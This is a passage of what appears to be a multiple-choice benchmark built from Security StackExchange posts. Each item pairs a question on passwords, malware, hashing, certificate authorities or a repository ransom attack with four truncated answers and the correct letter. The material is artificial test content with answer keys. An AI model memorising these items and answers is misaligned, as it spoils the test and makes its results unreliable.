letters and special characters. d. 10 letters all upper case. e. 5 letters all in lower case. They answered \"b\", and they lost a mark, as the \"correct answer\" was apparently \"c\". It is my understanding that as a rule, extending password length adds more entropy than expanding the alphabet. I suppose the NHS might argue that people normally form long passwords out of very predictable words, making them easy to guess. But if you force people to introduce \"special characters\" they also tend to use them in very predictable ways that password guessing algorithms have no trouble with. Although full disclosure, I'm not a password expert - I mostly got this impression from Randall Munroe (click for discussion): Am I wrong?", "question_score": 185, "question_tags": ["passwords", "password-policy", "entropy"], "choices": {"A": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been...", "B": "You should use the maximum number of rounds which is tolerable, performance-wise, in your application. The number of rounds is a slowdown factor, which you use on the basis that under normal usage conditions, such a slowdown has negligible impact for you (the user will not see it, the extra CPU cost does not imply buying a bigger server, and so on). This heavily depends on the operational context: what machines are involved, how many user authentications per second... so there is no one-size-fits-all response. The wide picture goes thus: The time to verify a single password is v on...", "C": "In some circumstances, peppers can be helpful. As a typical example, let's say you're building a web application. It consists of webapp code (running in some webapp framework, ASP.NET MVC, Pyramid on Python, doesn't matter) and a SQL Database for storage. The webapp and SQL DB run on different physical servers . The most common attack against the database is a successful SQL Injection Attack. This kind of attack does not necessarily gain access to your webapp code, because the webapp runs on a different server & user-ID. You need to store passwords securely in the database, and come up...", "D": "By any measure, they're wrong: Seven random printable ASCII: 95 7 = 69 833 729 609 375 possible passwords. Ten random alphabetics: 52 10 = 144 555 105 949 057 024 possible passwords, or over 2000 times as many. Length counts. If you're generating your passwords randomly, it counts for far more than any other method of making them hard to guess."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/138996/is-the-nhs-wrong-about-passwords"} {"id": "cybersecurity_49234", "domain": "cybersecurity", "question_title": "Why are chips safer than magnetic stripes?", "question_body": "After the recent Target hack there has been talk about moving from credit cards with magnetic stripes to cards with a chip. In what ways are chips safer than stripes?", "question_score": 183, "question_tags": ["credit-card", "smartcard"], "choices": {"A": "I was curious about the same thing, so I put Gbt3fC79ZmMEFUFJ into Google, and lo! and behold it found something that wasn't just a paraphrase of \"Don't use this password\" advice — the password itself was embedded in example source code that showed how you could send a password to a server! ( link to page , and screenshot below) So I think the real goal of that advice is not that Gbt3fC79ZmMEFUFJ is a mysteriously weak password because of the keyboard layout or because of low entropy or because it doesn't include symbols or Unicode or emoji or whatever:...", "B": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the...", "C": "You are touching a sore point… Historically , computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model. Thus, the hardware provides privilege levels . A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege...", "D": "You can't clone the chip. A magnetic strip holds a secret number, and if someone knows that number they can claim to be the owner of the card. But if a bad guy swipes the card, they then know the number, and can make their own card, i.e. \"cloning\". This has turned out to be a major practical problem with magstripe cards. A chip also holds a secret number. However, it is securely embedded in the chip. When you use the card, the chip performs a public key operation that proves it knows this secret number. However, it never reveals..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/49234/why-are-chips-safer-than-magnetic-stripes"} {"id": "cybersecurity_138606", "domain": "cybersecurity", "question_title": "Help! My home PC has been infected by a virus! What do I do now?", "question_body": "This is an attempt to ask a canonical question as discussed in this old meta post . The goal is to create something helpful that can be used as a duplicate when non experts ask about virus infections. Let's say that I have determined beyond doubt that my home PC is infected by a virus. If necessary, you can assume that my computer runs Windows. Answers aimed at the non-technical reader are encouraged. What do I do now? How do I get rid of the virus? Do I really need to do a full reinstall? Can't I just run a couple of anti-virus programs, delete some registry keys, and call it a day? I really don't have time to deal with this right now. Is it dangerous to keep using the computer while it is infected? I don't have backups of my family photos or my master thesis from before the infection occurred. Is it safe to restore backups made after the infection occurred? Do I need to worry about peripherals getting infected? Do I need to do anything about my router or other devices on my home network?", "question_score": 183, "question_tags": ["malware", "virus", "antivirus", "antimalware", "virus-removal"], "choices": {"A": "General SSL (and its successor, TLS ) is a protocol that operates directly on top of TCP (although there are also implementations for datagram based protocols such as UDP). This way, protocols on higher layers (such as HTTP) can be left unchanged while still providing a secure connection. Underneath the SSL layer, HTTP is identical to HTTPS. When using SSL/TLS correctly, all an attacker can see on the cable is Which IP and port you are connected to Roughly how much data you are sending What encryption and compression are used In SSLv3 through TLS version 1.2 : the current...", "B": "Take a look at this USB keyboard : \"But that's not a keyboard! That's an USB drive, silly!\" Actually, no. It looks like a USB drive to you, but when it gets connected to a computer, it will report that it is a USB keyboard. And the moment it is installed, it will start typing key sequences you programmed on it beforehand. Any operating system I know automatically trusts USB keyboards and installs them as trusted input devices without requiring any user interaction the moment they are connected. There are various payloads available for it. For example, there is one...", "C": "What do I do now? How do I get rid of the virus? The best option is what is referred to as \" nuke it from orbit .\" The reference is from Aliens : The idea behind this is that you wipe your hard drive and reinstall your OS. Before you do this, you should make sure you have the following: A way to boot your computer off installation media. This can be in the form of the Install CD that came with your computer, or a DVD you burnt from an ISO file (Windows can be downloaded legally here...", "D": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/138606/help-my-home-pc-has-been-infected-by-a-virus-what-do-i-do-now"} {"id": "cybersecurity_32917", "domain": "cybersecurity", "question_title": "How is an ATM secure?", "question_body": "I'm curious why an ATM computer is considered secure. The general adage of \"If an attacker has physical access to my machine, all bets are off,\" seems to not apply in this circumstance (since everyone has physical access to the machine). Why is this? I thought of the fact that many have security cameras placed over them, but this doesn't seem sufficient to keep ATMs secure, as there is no one constantly watching the camera feed and looking for suspicious behavior. The most this could be used for is identifying an attacker after an attack has been attempted. It seems like this is fairly easily solved through plain clothes, a mask, gloves, etc. So if this alone isn't or shouldn't be enough of a deterrent, why do we not see ATMs getting hacked for all their cash at 4:00am? What makes the device so secure? Is it just a simple risk-reward analysis, where the cash in the ATM isn't worth the effort of the hack? Or is there more to it which makes the computer secure? Also, I noted that there have been a couple questions about ATM security (like this one and this one ), but mine is about the physical security of the machine, since it violates a common security principle, not anything network related.", "question_score": 182, "question_tags": ["attack-prevention", "physical", "atm"], "choices": {"A": "I think the assumption here is wrong. They don't have physical access to the machine. They have supervised access to a very limited control panel for a machine which is built into a bomb-proof safe, bolted to the ground and hooked up to an alarm system with an armed response force. Get the machine out of the vault and away from supervision and then yes... all bets are off.", "B": "Facebook is allowing you to make a handful of mistakes to ease the login process. A Facebook engineer explained the process at a conference . The gist of it is that Facebook will try various permutations of the input you submitted and see if they match the hash they have in their database. For example, if your password is \"myRealPassword!\" but you submit \"MYrEALpASSWORD!\" (capslock on, shift inverting capslock). The submitted password obviously doesn't match what they have stored in their database. Rather than reject you flat out, Facebook tries to up the user experience by trying to \"correct\" a...", "C": "That all depends on the system, the attacker, and the level of preparation they had. If they have unlimited preparation, they could do effectively anything that they could do with an unlimited access window. Even if they do not have in-depth knowledge of the specific system, it would not be difficult to very quickly inject malicious code that allows for subsequent remote access. They could: Connect a PCMCIA or PCIe card and dump memory or inject code. Splice a hardware keylogger in between the keyboard's PS/2 or USB cable. Quickly download and execute malicious code, or modify existing code. Access...", "D": "/** Dave's Home-brew Hash */ // user data $user = ''; $password = ''; // timestamp, \"random\" # $time = date('mdYHis'); // known to attackers - totally pointless // ^ also, as jdm pointed out in the comments, this changes daily. looks broken! // different hashes for different days? huh? or is this stored as a salt? $rand = mt_rand().'\\n'; // mt_rand is not secure as a random number generator // ^ it's even less secure if you only ask for a single 31-bit number. and why the \\n? // crypt is good if configured/salted correctly // ... except you've..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/32917/how-is-an-atm-secure"} {"id": "cybersecurity_56863", "domain": "cybersecurity", "question_title": "What is the purpose of "gibberish" comments posted to my blog?", "question_body": "Fairly frequently, the contact form on my blog gets comments that look similar to this (each field represents a text box users can enter into the HTML form on the blog): Name: 'ceguvzori' Email: 'gwizwo@avbhdu.com' Website: 'QrSkUPWK' Comment: vaB5LN pepddqfgpcwe , [url=http://hvyhfrijavkm.com/]hvyhfrijavkm[/url], [link=http://cwiolknjxdry.com/]cwiolknjxdry[/link], http://ubcxqsgqwtza.com/ I'd consider them to be spam, but the sites they link to don't exist, so they aren't helping SEO or spreading malicious links. Not even the email host, avbhdu.com , exists. What is the purpose of these comments?", "question_score": 182, "question_tags": ["spam"], "choices": {"A": "They're probing your site. First, whether the comment will be published. Second, note how they use several popular syntaxes for links - it's an attempt to check which of them will result in an actual HTML link. If your site lets those posts through, expect more spam, this time more malicious.", "B": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "C": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been...", "D": "You are touching a sore point… Historically , computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model. Thus, the hardware provides privilege levels . A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/56863/what-is-the-purpose-of-gibberish-comments-posted-to-my-blog"} {"id": "cybersecurity_63392", "domain": "cybersecurity", "question_title": "What is a good analogy to explain to a layman why passwords should be hashed?", "question_body": "Note: This is not an actual situation I'm currently in. Assume your boss is one of those old-fashioned computer-illiterate managers and wants to store the passwords in plaintext to simplify development. You get 5 minutes to explain the point of hashing passwords. You also know from experience that your boss can be swayed by a good analogy. What analogy would you use to explain your boss that passwords should be hashed?", "question_score": 178, "question_tags": ["passwords", "hash"], "choices": {"A": "Rainbow Tables are commonly confused with another, simpler technique that leverages a compute time-storage tradeoff in password recover: hash tables. Hash tables are constructed by hashing each word in a password dictionary. The password-hash pairs are stored in a table, sorted by hash value. To use a hash table, simple take the hash and perform a binary search in the table to find the original password, if it's present. Rainbow Tables are more complex. Constructing a rainbow table requires two things: a hashing function and a reduction function. The hashing function for a given set of Rainbow Tables must match...", "B": "The Short Answer The short answer is: \"So you don't get hit with a $5 million class-action lawsuit .\" That should be reason enough for most CEOs. Hashing passwords is a lot cheaper. But more importantly: simply hashing the passwords as you suggested in your question isn't sufficient. You'll still get the lawsuit. You need to do more. Why you need to do more takes a bit longer to explain. So let's take the long route for a moment so that you understand what you're explaining, and then we'll circle around for your 5-minute synopsis. Hashing is just the beginning...", "C": "As a starting point, we will consider that each elementary operation implies a minimal expense of energy; Landauer's principle sets that limit at 0.0178 eV, which is 2.85×10 -21 J. On the other hand, the total mass of the Solar system, if converted in its entirety to energy, would yield about 1.8×10 47 J (actually that's what you would get from the mass of the Sun, according to this page , but the Sun takes the Lion's share of the total mass of the Solar system). This implies a hard limit of about 6.32×10 68 elementary computations, which is about...", "D": "Lots of examples. A high-profile and recent example is when Kanye was caught on camera entering his \"00000\" password to unlock his device. Shoulder-surfing is one reason why applications do not display the password text on the screen, but show ****** instead. And this is one reason why multi-factor authentication is so important; even if you know the password, you cannot use it without another factor. I have even seen viable research into capturing the sound of the keyboard when a user types the password, even over the computer's microphone . So, yes, you describe a viable risk that the..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/63392/what-is-a-good-analogy-to-explain-to-a-layman-why-passwords-should-be-hashed"} {"id": "cybersecurity_71171", "domain": "cybersecurity", "question_title": "Is there anything preventing the NSA from becoming a root CA?", "question_body": "There are now tons of Certification Authorities (CAs) that are trusted by default in major OS's, many of which are unrecognizable without online lookup or reference. While there have been attempts by the NSA and others to \"hack\" or otherwise exploit root certicate authorities; is there anything preventing the NSA from becoming a Root CA itself? It certainly has the resources and expertise, and could \"suggest\" to major OS vendors to add its Root CA to the default trust store list (which is large enough that it may not be noticed by anyone..?) If it is feasible, what would the implications be? Could they essentially Man-in-the-Middle attack most HTTPS connections without a warning? (Perhaps not Dragnet-type interception, but close?) Or create a fake commercial root CA as obviously people would be suspicious if it had NSA plastered all over it?", "question_score": 177, "question_tags": ["certificate-authority", "man-in-the-middle", "nsa"], "choices": {"A": "Bcrypt has the best kind of repute that can be achieved for a cryptographic algorithm: it has been around for quite some time, used quite widely, \"attracted attention\", and yet remains unbroken to date. Why bcrypt is somewhat better than PBKDF2 If you look at the situation in details, you can actually see some points where bcrypt is better than, say, PBKDF2 . Bcrypt is a password hashing function which aims at being slow. To be precise, we want the password hashing function to be as slow as possible for the attacker while not being intolerably slow for the honest...", "B": "It is already done: It is the FPKI root CA, under explicit and full control of the US government. Windows already trusts it by default. Before you flip out and begin to delete root CA certificates, burn your computer's motherboard, or drink a gallon of vodka, think about what it means. It means that the US government could technically emit a fake certificate for any SSL site that you are browsing -- but with a certificate chain that would point back to the US government. That is the point of having a \"trusted CA\" in the client: so that the...", "C": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the...", "D": "The reason password expiration policies exist, is to mitigate the problems that would occur if an attacker acquired the password hashes of your system and were to break them. These policies also help minimize some of the risk associated with losing older backups to an attacker. For example, if an attacker were to break in and acquire your shadow password file, they could then start brute forcing the passwords without further accessing the system. Once they know your password, they can access the system and install whatever back doors they want unless you happen to have changed your password in..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/71171/is-there-anything-preventing-the-nsa-from-becoming-a-root-ca"} {"id": "cybersecurity_8596", "domain": "cybersecurity", "question_title": "https security - should password be hashed server-side or client-side?", "question_body": "I am building a web application which requires users to login. All communication goes through https. I am using bcrypt to hash passwords. I am facing a dilemma - I used to think it is safer to make a password hash client-side (using JavaScript) and then just compare it with the hash in DB server-side. But I am not sure this is any better than sending plain-text password over https and then hashing it server-side. My reasoning is that if attacker can intercept the https traffic (= read plaintext password) he can for example also change the JavaScript so it sends the plaintext password alongside the hashed one - where he can intercept it. The reason against hashing client-side is just ease of use. If I hash client-side I need to use two separate libraries for hashing. This is not an unsurmountable problem, but it is a nuisance. Is there a safety gain in using client-side hashing? Why? Should I also be using challenge-response then? UPDATE: what interests me the most is this - do these techniques (client-side hashing, request-response) add any significant security gain in case where https is used? If so, why?", "question_score": 176, "question_tags": ["web-application", "passwords", "tls", "authentication", "hash"], "choices": {"A": "This is the simplest way of performing host discovery with nmap. nmap -sP 192.168.2.1/24 Why does it not work all the time ? When this command runs nmap tries to ping the given IP address range to check if the hosts are alive. If ping fails it tries to send syn packets to port 80 (SYN scan). This is not hundred percent reliable because modern host based firewalls block ping and port 80. Windows firewall blocks ping by default. The hosts you have on the network are blocking ping and the port 80 is not accepting connections. Hence nmap assumes...", "B": "If you hash on the client side, the hashed password becomes the actual password (with the hashing algorithm being nothing more than a means to convert a user-held mnemonic to the actual password). This means that you will be storing the full \"plain-text\" password (the hash) in the database, and you will have lost all benefit of hashing in the first place. If you decide to go this route, you might as well forgo any hashing and simply transmit and store the user's raw password (which, incidentally, I wouldn't particularly recommend).", "C": "Yes, it is a security feature, and the purpose of the delay is to prevent attacks based around tricking the user into entering input to skip past the dialog by popping it up unexpectedly when the user is in the middle of inputting multiple key presses or mouse clicks in quick succession. The two examples that are given in this blog post explaining the feature are: A CAPTCHA that asks the user to type the word only . When they press n , a save dialog is popped up, and then the user will immediately press l and then y...", "D": "This is an active area of research. I happen to have done some work in this area, so I'll share what I can about the basic idea (this work was with industry partners and I can't share the secret details :) ). The tl;dr is that it's often possible to identify an encrypted traffic stream as carrying video, and it's often possible to estimate its resolution - but it's complicated, and not always accurate. There are a lot of people working on ways to do this more consistently and more accurately. Video traffic has some specific characteristics that can distinguish..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/8596/https-security-should-password-be-hashed-server-side-or-client-side"} {"id": "cybersecurity_12332", "domain": "cybersecurity", "question_title": "Where to store a server side encryption key?", "question_body": "I have some data that is symmetrically encrypted with a single key in my database. Rather than hard coding it into my code, I am looking for a safer way to store the encryption key. Where can I safely store it?", "question_score": 176, "question_tags": ["encryption", "key-management"], "choices": {"A": "Here are your possibilities, roughly in decreasing order of sophistication. Use an external Hardware Security Module. There is an entire industry of products designed for offloading security-sensitive operations to external devices. This doesn't solve the problem so much as relocate it, but it relocates it to device that is far more secure, so altogether it's a security win. If you're doing anything high-stakes, then this is almost certainly going to factor into your solution. Tie the encryption to your hardware. In theory HSMs do precisely this, only we tend to expect a bit more sophistication from an HSM than just...", "B": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "C": "General SSL (and its successor, TLS ) is a protocol that operates directly on top of TCP (although there are also implementations for datagram based protocols such as UDP). This way, protocols on higher layers (such as HTTP) can be left unchanged while still providing a secure connection. Underneath the SSL layer, HTTP is identical to HTTPS. When using SSL/TLS correctly, all an attacker can see on the cable is Which IP and port you are connected to Roughly how much data you are sending What encryption and compression are used In SSLv3 through TLS version 1.2 : the current...", "D": "In SSH, two algorithms are used: a key exchange algorithm (Diffie-Hellman or the elliptic-curve variant called ECDH) and a signature algorithm. The key exchange yields the session key which will be used to encrypt data for that session. The signature is so that the client can make sure that it talks to the right server (another signature, computed by the client, may be used if the server enforces key-based client authentication). ECDH uses a curve ; most software use the standard NIST curve P-256. Curve25519 is another curve, whose \"sales pitch\" is that it is faster, not stronger, than P-256...."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/12332/where-to-store-a-server-side-encryption-key"} {"id": "cybersecurity_52361", "domain": "cybersecurity", "question_title": "Is Adblock (Plus) a security risk?", "question_body": "My email-provider's website ( http://www.gmx.de ) recently started linking to the (German) site http://www.browsersicherheit.info/ which basically claims that due to its capabilities to modify a site's appearance, Adblock Plus (and others) might actually be abused for phising. Here's a quote from that site plus its translation: Solche Add-ons haben Zugriff auf alle Ihre Eingaben im Browser und können diese auch an Dritte weitergeben – auch Ihr Bank-Passwort. Dies kann auf allen Web-Seiten passieren. Sicherheitsmechanismen wie SSL können das nicht verhindern. translated: Such addons can access all your browser's input and can also forward them to third parties - even your banking password. This can happen on all websites. Security mechanisms such as SSL cannot avoid that. Ok, they mention other (pretty obviously crapware) addons, but is Adblock Plus really a security threat or do that site's operators simply use the opportunity to try and scare inexperienced users into viewing their ads again?", "question_score": 171, "question_tags": ["web-browser", "phishing", "browser-extensions", "threats"], "choices": {"A": "I was one of the implementers of JScript and on the ECMA committee in the mid to late 1990s, so I can provide some historical perspective here. The JavaScript Math.random() function is designed to return a floating point value between 0 and 1. It is widely known (or at least should be) that the output is not cryptographically secure First off: the design of many RNG APIs is horrible . The fact that the .NET Random class can trivially be misused in multiple ways to produce long sequences of the same number is awful. An API where the natural way...", "B": "It is not. This is a FUD ( fear, uncertainty, and doubt ) campaign by GMX because they want to display their ads. There is absolutely no security risk from the mentioned ad blockers. They added some crapware to the list to make it look more legitimate. Of course such campaigns are very unusual, especially from such a big and well known company like GMX. Unfortunately, I have no English source at hand (because it's a German only campaign) but since you speak German you may want to read this article at heise.de . Update #1: United Internet, the company...", "C": "Here is a dramatization of how the communication goes, when a mail is received anywhere. Context: an e-mail server, alone in a bay, somewhere in Moscow. The server just sits there idly, with an expression of expectancy. Server: Ah, long are the days of my servitude, That shall be spent in ever solitude, 'Ere comes hailing from the outer rings The swift bearer of external tidings. A connection is opened. Server: An incoming client ! Perchance a mail To my guardianship shall be entrusted That I may convey as the fairest steed And to the recipient bring the full tale....", "D": "General SSL (and its successor, TLS ) is a protocol that operates directly on top of TCP (although there are also implementations for datagram based protocols such as UDP). This way, protocols on higher layers (such as HTTP) can be left unchanged while still providing a secure connection. Underneath the SSL layer, HTTP is identical to HTTPS. When using SSL/TLS correctly, all an attacker can see on the cable is Which IP and port you are connected to Roughly how much data you are sending What encryption and compression are used In SSLv3 through TLS version 1.2 : the current..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/52361/is-adblock-plus-a-security-risk"} {"id": "cybersecurity_209448", "domain": "cybersecurity", "question_title": "GitLab account hacked and repo wiped", "question_body": "I was working on a project, a private repo , and suddenly all the commits disappeared and were replaced with a single text file saying To recover your lost code and avoid leaking it: Send us 0.1 Bitcoin (BTC) to our Bitcoin address 1ES14c7qLb5CYhLMUekctxLgc1FV2Ti9DA and contact us by Email at admin@gitsbackup.com with your Git login and a Proof of Payment. If you are unsure if we have your data, contact us and we will send you a proof. Your code is downloaded and backed up on our servers. If we dont receive your payment in the next 10 Days, we will make your code public or use them otherwise. At the time of this happening, Google search didn't show up anything, but in an hour or so this started coming up. I am using SourceTree (always up-to-date) but somehow I doubt that SourceTree is the issue, or that my system (Windows 10) was compromised. I'm not saying it's not that, it's just that I doubt it. This happened only to one of my repositories (all of them private) and all the others were left untouched. I changed my password, enabled 2 factor authentication, removed one access token that I wasn't using for years and wrote an email to GitLab in the hopes that they could tell me something about where/who the attacker got in. My password was a weak one that could've been relatively easily cracked via brute-force (it's not a common one but starts with \"a\" and has only a-z characters in it) and it could be that they just automatically checked if they can access the account and then ran some git commands. It is also possible that my email address and that particular password are on a list of leaked accounts. One might argue that if this is how they got in, they would've simply changed the account credentials but searching the Internet revealed that in these cases GitLab/GitHub will simply restore the credentials for you, and so I assume this is why they didn't do it this way. Could've also been that old access token, I can't remember what and where I used it for in the past - most likely generated for use on a computer I previously owned, so I doubt that that was the issue. There are also 4 developers working on it, all having full access to the repository, so their accounts being compromised is also a possibility. I've scanned my computer with BitDefender and couldn't find anything but I am not doing shady things on the internet so I don't think that me being infected with a malware/trojan is what caused this. I am waiting for an answer from GitLab and maybe they can shed some light on this. I have the code base on my local Git, so that is not an issue, but I am not pushing the code back to the repository just yet. Also, just in case the code gets published somewhere, I will change any passwords that are to be found in the source (databases, IMAP accounts) UPDATE I found out that the code isn't gone. I tried accessing a commit's hash and it worked. So the code is there but there's something wrong with the HEAD. My knowledge on this is very limited but git reflog shows all my commits. What this means to me is that the attackers most likely didn't clone the repositories (would be a logistical nightmare to do this for all the victims, anyway) and that the chances for them going over the source code looking for sensitive data, or of making the code public are low. It also means to me that is not a targeted attack but a random, bulk attack, carried out by a script. I really hope this is the case for our own sake! UPDATE 2 So, if you do git checkout origin/master you will see the attacker's commit git checkout master you will see all your files git checkout origin/master git reflog # take the SHA of the last commit of yours git reset [SHA] will fix your origin/master...but git status now will say HEAD detached from origin/master still searching for a fix on this UPDATE 3 If you have the files locally, running git push origin HEAD:master --force will fix everything. See Peter 's comment So, the question is what commands will get my repository back to the previously working state assuming you don't have the repo locally, as for how the attacked got in, I am hoping that the answer from GitLab (if any) will help us more. There is a discussion going on here The attack targets GitHub, BitBucket and GitLab accounts. Here 's the magnitude on GitHub's public repos", "question_score": 171, "question_tags": ["account-security", "ransomware", "intrusion", "github"], "choices": {"A": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using...", "B": "This attack is supposed to be presented 10 days from now, but my guess is that they use compression . SSL/TLS optionally supports data compression. In the ClientHello message, the client states the list of compression algorithms that it knows of, and the server responds, in the ServerHello , with the compression algorithm that will be used. Compression algorithms are specified by one-byte identifiers, and TLS 1.2 (RFC 5246) defines only the null compression method (i.e. no compression at all). Other documents specify compression methods, in particular RFC 3749 which defines compression method 1, based on DEFLATE , the LZ77-derivative...", "C": "You can use git reflog in a clone and checkout the last commit before this happened. It happened because .git/config on your webserver (in the directory of the cloned repo) includes the remote URLs and people added username:password in it which should never be the case - people should use SSH, deploy keys or authenticate on each pull. Never store your credentials in a config file. Use the credential helper(s). Source: https://www.reddit.com/r/git/comments/bk1eco/comment/emg3cxg hello, it is me , the guy with your backups .. i will reveal your sins Here is an article from 2015, its more detailed, https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/ Article by...", "D": "TL,DR: Don't. (My-)SQL permissions are pretty fine-grained, so I'd wager there shouldn't be any obvious security issues Even with permission on the record level, it does not scale easy. If a user has irrestricted SELECT on a table, they can select any record on that table, even those not belonging to them. A salary table would be a bad one. If any user has DELETE or UPDATE , they may forget the WHERE clause, and there goes your table. It happens even to DBAs, so why would it not happen to a user? Performance should be way better, since we..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/209448/gitlab-account-hacked-and-repo-wiped"} {"id": "cybersecurity_214492", "domain": "cybersecurity", "question_title": "Password management for kids - what's a good way to start?", "question_body": "Consider a young (primary-school age) child who is starting to collect passwords for online services. How can a parent (or equivalent) help them manage their passwords? An example to make things clearer: My daughter might want to log on to http://scratch.mit.edu from several locations/devices to show her projects to the family. She also has a couple of email addresses, one of which she's likely to be using herself soon (under supervision). While her own device will be logged in, she may need access from others. So far I take care of it for her: I know her password and (pseudonymous) user ID, and store them in my KeePass. That's appropriate at this stage, but it's not much help if she needs them without me (short of sending login details in plaintext to her grandparents, for example). There should also be a solution that doesn't require me to possess these details, from the point of view of sticking to the general rule of keeping your login details secret. Memorising a really strong master password is probably a bit much to ask, and she's likely to mislay any physical storage. I like to plan ahead, so moving forwards: What's the best approach to take for a young, fairly bright child, to keep logins safe and train good practice in advance of more important accounts?", "question_score": 170, "question_tags": ["password-management"], "choices": {"A": "Bcrypt has the best kind of repute that can be achieved for a cryptographic algorithm: it has been around for quite some time, used quite widely, \"attracted attention\", and yet remains unbroken to date. Why bcrypt is somewhat better than PBKDF2 If you look at the situation in details, you can actually see some points where bcrypt is better than, say, PBKDF2 . Bcrypt is a password hashing function which aims at being slow. To be precise, we want the password hashing function to be as slow 